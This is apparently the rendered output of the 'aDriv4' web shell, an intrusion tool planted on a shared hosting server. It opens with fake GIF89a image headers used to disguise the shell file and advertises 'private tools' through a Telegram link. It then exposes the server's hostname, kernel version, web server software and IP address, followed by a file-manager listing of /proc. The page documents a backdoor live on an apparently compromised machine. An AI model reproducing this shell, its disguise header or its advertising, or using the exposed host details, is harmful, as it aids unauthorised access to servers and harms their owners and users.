GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium196.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
 LiteSpeed
 66.29.132.23
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-23 07:46:47
.. dir - root/root 0755 2025-08-05 08:51:07
448918 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:16:07
570297 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:16:07
600488 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:16:08
601787 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:16:11
602513 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:16:20
602935 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:16:26
603007 dir - bgixtesd/bgixtesd 0555 2025-10-27 01:16:28
acpi dir - root/root 0555 2025-07-23 07:46:51
bus dir - root/root 0555 2025-07-23 07:47:00
driver dir - root/root 0555 2025-10-27 01:16:25
fs dir - root/root 0555 2025-07-23 07:47:00
irq dir - root/root 0555 2025-07-23 07:47:00
kcare dir - root/root 0555 2025-10-27 01:16:25
lve dir - root/root 0555 2025-10-27 01:16:11
net link - bgixtesd/bgixtesd 0555 2025-10-27 01:16:32
scsi dir - root/root 0555 2025-07-23 07:47:00
self link - bgixtesd/bgixtesd 0555 2025-10-27 01:16:28
sys dir - root/root 0555 2025-07-23 07:46:49
sysvipc dir - root/root 0555 2025-10-27 01:16:25
thread-self link - bgixtesd/bgixtesd 0555 2025-10-27 01:16:31
tty dir - root/root 0555 2025-10-27 01:16:25
buddyinfo 0 B root/root 0444 2025-10-27 01:16:25
cgroups 0 B root/root 0444 2025-10-27 01:16:25
cmdline text/plain 0 B root/root 0444 2025-10-27 01:16:15
consoles 0 B root/root 0444 2025-10-27 01:16:25
cpuinfo text/plain 0 B root/root 0444 2025-10-27 01:16:11
crypto 0 B root/root 0444 2025-10-27 01:16:25
devices 0 B root/root 0444 2025-10-27 01:16:25
diskstats 0 B root/root 0444 2025-10-27 01:16:13
dma 0 B root/root 0444 2025-10-27 01:16:25
execdomains 0 B root/root 0444 2025-10-27 01:16:25
fb 0 B root/root 0444 2025-10-27 01:16:25
filesystems text/plain 0 B root/root 0444 2025-10-27 01:16:09
interrupts 0 B root/root 0444 2025-10-27 01:16:25
iomem 0 B root/root 0444 2025-10-27 01:16:25
ioports 0 B root/root 0444 2025-10-27 01:16:25
kallsyms 0 B root/root 0444 2025-07-23 07:47:00
kcore 128 TB root/root 0400 2025-07-23 07:46:51
key-users 0 B root/root 0444 2025-10-27 01:16:25
keys 0 B root/root 0444 2025-10-27 01:16:25
kmsg 0 B root/root 0400 2025-10-27 01:16:25
kpagecgroup 0 B root/root 0400 2025-10-27 01:16:25
kpagecount 0 B root/root 0400 2025-10-27 01:16:25
kpageflags 0 B root/root 0400 2025-10-27 01:16:25
loadavg text/plain 0 B root/root 0444 2025-10-27 01:16:11
locks 0 B root/root 0444 2025-10-27 01:16:25
mdstat 0 B root/root 0444 2025-10-27 01:16:20
meminfo text/plain 0 B root/root 0444 2025-10-27 01:16:08
misc 0 B root/root 0444 2025-10-27 01:16:25
modules 0 B root/root 0444 2025-10-27 01:16:25
mounts text/plain 0 B bgixtesd/bgixtesd 0444 2025-10-27 01:16:32
mtrr 0 B root/root 0644 2025-07-23 07:47:00
pagetypeinfo 0 B root/root 0400 2025-10-27 01:16:25
partitions 0 B root/root 0444 2025-10-27 01:16:25
sched_debug 0 B root/root 0444 2025-10-27 01:16:25
schedstat 0 B root/root 0444 2025-10-27 01:16:25
slabinfo 0 B root/root 0400 2025-10-27 01:16:25
softirqs 0 B root/root 0444 2025-10-27 01:16:25
stat text/plain 0 B root/root 0444 2025-10-27 01:16:09
swaps 0 B root/root 0444 2025-07-23 07:46:49
sysrq-trigger 0 B root/root 0200 2025-07-23 07:47:00
timer_list 0 B root/root 0400 2025-10-27 01:16:25
uptime text/plain 0 B root/root 0444 2025-10-27 01:16:08
version text/plain 0 B root/root 0444 2025-10-27 01:16:25
vmallocinfo 0 B root/root 0400 2025-10-27 01:16:25
vmstat 0 B root/root 0444 2025-10-27 01:16:25
zoneinfo 0 B root/root 0444 2025-10-27 01:16:25
© aDriv4